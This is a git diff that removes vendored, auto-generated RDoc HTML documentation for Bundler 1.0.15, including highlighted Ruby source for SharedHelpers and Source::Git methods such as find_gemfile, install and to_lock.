-56:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">clean_load_path</span>
-57:       <span class="ruby-comment cmt"># handle 1.9 where system gems are always on the load path</span>
-58:       <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">defined?</span>(<span class="ruby-operator">::</span><span class="ruby-constant">Gem</span>)
-59:         <span class="ruby-identifier">me</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">&quot;../../&quot;</span>, <span class="ruby-keyword kw">__FILE__</span>)
-60:         <span class="ruby-identifier">$LOAD_PATH</span>.<span class="ruby-identifier">reject!</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-61:           <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">p</span>) <span class="ruby-operator">=~</span> <span class="ruby-node">/^#{Regexp.escape(me)}/</span>
-62:           <span class="ruby-identifier">p</span> <span class="ruby-operator">!=</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-keyword kw">__FILE__</span>) <span class="ruby-operator">&amp;&amp;</span>
-63:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">gem_path</span>.<span class="ruby-identifier">any?</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">gp</span><span class="ruby-operator">|</span> <span class="ruby-identifier">p</span> <span class="ruby-operator">=~</span> <span class="ruby-node">/^#{Regexp.escape(gp)}/</span> }
-64:         <span class="ruby-keyword kw">end</span>
-65:         <span class="ruby-identifier">$LOAD_PATH</span>.<span class="ruby-identifier">uniq!</span>
-66:       <span class="ruby-keyword kw">end</span>
-67:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
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-			<div id="find-gemfile-method" class="method-detail ">
-				<a name="method-i-find_gemfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">find_gemfile</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="find-gemfile-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/shared_helpers.rb, line 36</span>
-36:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">find_gemfile</span>
-37:       <span class="ruby-identifier">given</span> = <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLE_GEMFILE'</span>]
-38:       <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">given</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">given</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">given</span>.<span class="ruby-identifier">empty?</span>
-39: 
-40:       <span class="ruby-identifier">previous</span> = <span class="ruby-keyword kw">nil</span>
-41:       <span class="ruby-identifier">current</span>  = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Dir</span>.<span class="ruby-identifier">pwd</span>)
-42: 
-43:       <span class="ruby-keyword kw">until</span> <span class="ruby-operator">!</span><span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span>(<span class="ruby-identifier">current</span>) <span class="ruby-operator">||</span> <span class="ruby-identifier">current</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">previous</span>
-44:         <span class="ruby-keyword kw">if</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLE_SPEC_RUN'</span>]
-45:           <span class="ruby-comment cmt"># avoid stepping above the tmp directory when testing</span>
-46:           <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">nil</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">file?</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">current</span>, <span class="ruby-value str">'bundler.gemspec'</span>))
-47:         <span class="ruby-keyword kw">end</span>
-48: 
-49:         <span class="ruby-comment cmt"># otherwise return the Gemfile if it's there</span>
-50:         <span class="ruby-identifier">filename</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">current</span>, <span class="ruby-value str">'Gemfile'</span>)
-51:         <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">filename</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">file?</span>(<span class="ruby-identifier">filename</span>)
-52:         <span class="ruby-identifier">current</span>, <span class="ruby-identifier">previous</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">&quot;..&quot;</span>, <span class="ruby-identifier">current</span>), <span class="ruby-identifier">current</span>
-53:       <span class="ruby-keyword kw">end</span>
-54:     <span class="ruby-keyword kw">end</span></pre>
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-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source.html
+++ /dev/null
@@ -1,336 +0,0 @@
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-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Module: Bundler::Source</title>
-
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-
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-          <a href="../index.html#methods">Methods</a>
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-			</div>
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-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
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-					
-						<li><a href="../lib/bundler/source_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
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-			<!-- Parent Class -->
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-			
-			<div id="namespace-list-section" class="section">
-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">CLASS</span> <a href="Source/Git.html">Bundler::Source::Git</a></li>
-					
-					<li><span class="type">CLASS</span> <a href="Source/Path.html">Bundler::Source::Path</a></li>
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-				</ul>
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-			
-
-			<!-- Method Quickref -->
-			
-
-			<!-- Included Modules -->
-			
-		</div>
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-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
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-				
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-				
-				</ul>
-			</div>
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-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
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-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-				
-					<li><a href="../Bundler.html">Bundler</a></li>
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-					<li><a href="../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../Bundler/CLI.html">Bundler::CLI</a></li>
-				
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-				
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-				
-					<li><a href="../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
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-					<li><a href="../Bundler/Dsl.html">Bundler::Dsl</a></li>
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-					<li><a href="../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
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-					<li><a href="../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
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-					<li><a href="../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
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-				
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-				
-					<li><a href="../Bundler/Settings.html">Bundler::Settings</a></li>
-				
-					<li><a href="../Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
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-					<li><a href="../Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="../Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-				
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-				
-					<li><a href="../Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-				
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-				
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-				
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-		<h1 class="module">Bundler::Source</h1>
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-		<div id="description">
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-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Git.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Git.html
deleted file mode 100644
index 81fbd802..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Git.html
+++ /dev/null
@@ -1,1475 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::Source::Git</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/source_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/source.rb">lib/bundler/source.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="Path.html">Bundler::Source::Path</a></p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-from_lock">::from_lock</a></li>
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-%3D%3D">#==</a></li>
-					
-					<li><a href="#method-i-allow_git_ops%3F">#allow_git_ops?</a></li>
-					
-					<li><a href="#method-i-base_name">#base_name</a></li>
-					
-					<li><a href="#method-i-cache">#cache</a></li>
-					
-					<li><a href="#method-i-cache_path">#cache_path</a></li>
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-					<li><a href="#method-i-cached%3F">#cached?</a></li>
-					
-					<li><a href="#method-i-checkout">#checkout</a></li>
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-					<li><a href="#method-i-eql%3F">#eql?</a></li>
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-					<li><a href="#method-i-git">#git</a></li>
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-					<li><a href="#method-i-in_cache">#in_cache</a></li>
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-					<li><a href="#method-i-install">#install</a></li>
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-					<li><a href="#method-i-load_spec_files">#load_spec_files</a></li>
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-					<li><a href="#method-i-name">#name</a></li>
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-					<li><a href="#method-i-path">#path</a></li>
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-					<li><a href="#method-i-revision">#revision</a></li>
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-					
-					<li><a href="#method-i-to_lock">#to_lock</a></li>
-					
-					<li><a href="#method-i-to_s">#to_s</a></li>
-					
-					<li><a href="#method-i-unlock%21">#unlock!</a></li>
-					
-					<li><a href="#method-i-uri_escaped">#uri_escaped</a></li>
-					
-					<li><a href="#method-i-uri_hash">#uri_hash</a></li>
-					
-				</ul>
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-
-			<!-- Included Modules -->
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-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
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-				
-					<li class="file"><a href="../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
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-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
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-				
-					<li class="file"><a href="../../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
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-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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-						class="attribute-access-type">[R]</span>
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-						class="attribute-access-type">[R]</span>
-				</div>
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-				<div class="method-description">
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-					<span class="method-name">submodules</span><span
-						class="attribute-access-type">[R]</span>
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-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="from-lock-method" class="method-detail ">
-				<a name="method-c-from_lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">from_lock</span><span
-						class="method-args">(options)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
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-						id="from-lock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 489</span>
-489:       <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">from_lock</span>(<span class="ruby-identifier">options</span>)
-490:         <span class="ruby-identifier">new</span>(<span class="ruby-identifier">options</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value str">&quot;uri&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value str">&quot;remote&quot;</span>)))
-491:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			</div>
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-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(options)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-				<div class="method-description">
-					
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-						id="new-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 476</span>
-476:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">options</span>)
-477:         <span class="ruby-keyword kw">super</span>
-478: 
-479:         <span class="ruby-comment cmt"># stringify options that could be set as symbols</span>
-480:         <span class="ruby-node">%(ref branch tag revision)</span>.<span class="ruby-identifier">each</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">k</span><span class="ruby-operator">|</span> <span class="ruby-identifier">options</span>[<span class="ruby-identifier">k</span>] = <span class="ruby-identifier">options</span>[<span class="ruby-identifier">k</span>].<span class="ruby-identifier">to_s</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-identifier">k</span>] }
-481: 
-482:         <span class="ruby-ivar">@uri</span>        = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;uri&quot;</span>]
-483:         <span class="ruby-ivar">@ref</span>        = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;ref&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;branch&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;tag&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">'master'</span>
-484:         <span class="ruby-ivar">@revision</span>   = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;revision&quot;</span>]
-485:         <span class="ruby-ivar">@submodules</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;submodules&quot;</span>]
-486:         <span class="ruby-ivar">@update</span>     = <span class="ruby-keyword kw">false</span>
-487:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="--method" class="method-detail method-alias">
-				<a name="method-i-%3D%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">==</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-				<div class="aliases">
-          Alias for: <a href="Git.html#method-i-eql%3F">eql?</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="eql--method" class="method-detail ">
-				<a name="method-i-eql%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">eql?</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
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-					<div class="method-source-code"
-						id="eql--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 504</span>
-504:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">eql?</span>(<span class="ruby-identifier">o</span>)
-505:         <span class="ruby-constant">Git</span> <span class="ruby-operator">===</span> <span class="ruby-identifier">o</span>            <span class="ruby-operator">&amp;&amp;</span>
-506:         <span class="ruby-identifier">uri</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">uri</span>         <span class="ruby-operator">&amp;&amp;</span>
-507:         <span class="ruby-identifier">ref</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">ref</span>         <span class="ruby-operator">&amp;&amp;</span>
-508:         <span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">name</span>       <span class="ruby-operator">&amp;&amp;</span>
-509:         <span class="ruby-identifier">version</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">&amp;&amp;</span>
-510:         <span class="ruby-identifier">submodules</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">submodules</span>
-511:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Git.html#method-i-%3D%3D">==</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="install-method" class="method-detail ">
-				<a name="method-i-install"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">install</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
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-					<div class="method-source-code"
-						id="install-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 551</span>
-551:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">install</span>(<span class="ruby-identifier">spec</span>)
-552:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Using #{spec.name} (#{spec.version}) from #{to_s} &quot;</span>
-553: 
-554:         <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@installed</span>
-555:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">debug</span> <span class="ruby-node">&quot;  * Checking out revision: #{ref}&quot;</span>
-556:           <span class="ruby-identifier">checkout</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">allow_git_ops?</span>
-557:           <span class="ruby-ivar">@installed</span> = <span class="ruby-keyword kw">true</span>
-558:         <span class="ruby-keyword kw">end</span>
-559:         <span class="ruby-identifier">generate_bin</span>(<span class="ruby-identifier">spec</span>)
-560:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="load-spec-files-method" class="method-detail ">
-				<a name="method-i-load_spec_files"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">load_spec_files</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="load-spec-files-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 562</span>
-562:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">load_spec_files</span>
-563:         <span class="ruby-keyword kw">super</span>
-564:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">PathError</span>, <span class="ruby-constant">GitError</span>
-565:         <span class="ruby-identifier">raise</span> <span class="ruby-constant">GitError</span>, <span class="ruby-node">&quot;#{to_s} is not checked out. Please run `bundle install`&quot;</span>
-566:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="name-method" class="method-detail ">
-				<a name="method-i-name"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">name</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="name-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 520</span>
-520:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">name</span>
-521:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-ivar">@uri</span>, <span class="ruby-value str">'.git'</span>)
-522:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="path-method" class="method-detail ">
-				<a name="method-i-path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 524</span>
-524:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">path</span>
-525:         <span class="ruby-ivar">@install_path</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-526:           <span class="ruby-identifier">git_scope</span> = <span class="ruby-node">&quot;#{base_name}-#{shortref_for_path(revision)}&quot;</span>
-527: 
-528:           <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span>
-529:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">user_bundle_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ruby_scope</span>).<span class="ruby-identifier">join</span>(<span class="ruby-identifier">git_scope</span>)
-530:           <span class="ruby-keyword kw">else</span>
-531:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">install_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">git_scope</span>)
-532:           <span class="ruby-keyword kw">end</span>
-533:         <span class="ruby-keyword kw">end</span>
-534:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="specs-method" class="method-detail ">
-				<a name="method-i-specs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-TODO: actually cache git specs
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="specs-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 541</span>
-541:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">specs</span>
-542:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">allow_git_ops?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-ivar">@update</span>
-543:           <span class="ruby-comment cmt"># Start by making sure the git cache is up to date</span>
-544:           <span class="ruby-identifier">cache</span>
-545:           <span class="ruby-identifier">checkout</span>
-546:           <span class="ruby-ivar">@update</span> = <span class="ruby-keyword kw">true</span>
-547:         <span class="ruby-keyword kw">end</span>
-548:         <span class="ruby-identifier">local_specs</span>
-549:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="to-lock-method" class="method-detail ">
-				<a name="method-i-to_lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_lock</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="to-lock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 493</span>
-493:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_lock</span>
-494:         <span class="ruby-identifier">out</span> = <span class="ruby-value str">&quot;GIT\n&quot;</span>
-495:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;  remote: #{@uri}\n&quot;</span>
-496:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;  revision: #{revision}\n&quot;</span>
-497:         <span class="ruby-node">%(ref branch tag submodules)</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">opt</span><span class="ruby-operator">|</span>
-498:           <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;  #{opt}: #{options[opt]}\n&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-identifier">opt</span>]
-499:         <span class="ruby-keyword kw">end</span>
-500:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;  glob: #{@glob}\n&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@glob</span> <span class="ruby-operator">==</span> <span class="ruby-constant">DEFAULT_GLOB</span>
-501:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  specs:\n&quot;</span>
-502:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="to-s-method" class="method-detail ">
-				<a name="method-i-to_s"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">to_s</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="to-s-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 515</span>
-515:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_s</span>
-516:         <span class="ruby-identifier">sref</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;ref&quot;</span>] <span class="ruby-operator">?</span> <span class="ruby-identifier">shortref_for_display</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;ref&quot;</span>]) <span class="ruby-operator">:</span> <span class="ruby-identifier">ref</span>
-517:         <span class="ruby-node">&quot;#{uri} (at #{sref})&quot;</span>
-518:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="unlock--method" class="method-detail ">
-				<a name="method-i-unlock%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">unlock!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="unlock--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 536</span>
-536:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">unlock!</span>
-537:         <span class="ruby-ivar">@revision</span> = <span class="ruby-keyword kw">nil</span>
-538:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="allow-git-ops--method" class="method-detail ">
-				<a name="method-i-allow_git_ops%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">allow_git_ops?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="allow-git-ops--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 676</span>
-676:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">allow_git_ops?</span>
-677:         <span class="ruby-ivar">@allow_remote</span> <span class="ruby-operator">||</span> <span class="ruby-ivar">@allow_cached</span>
-678:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="base-name-method" class="method-detail ">
-				<a name="method-i-base_name"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">base_name</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="base-name-source">
-<pre>
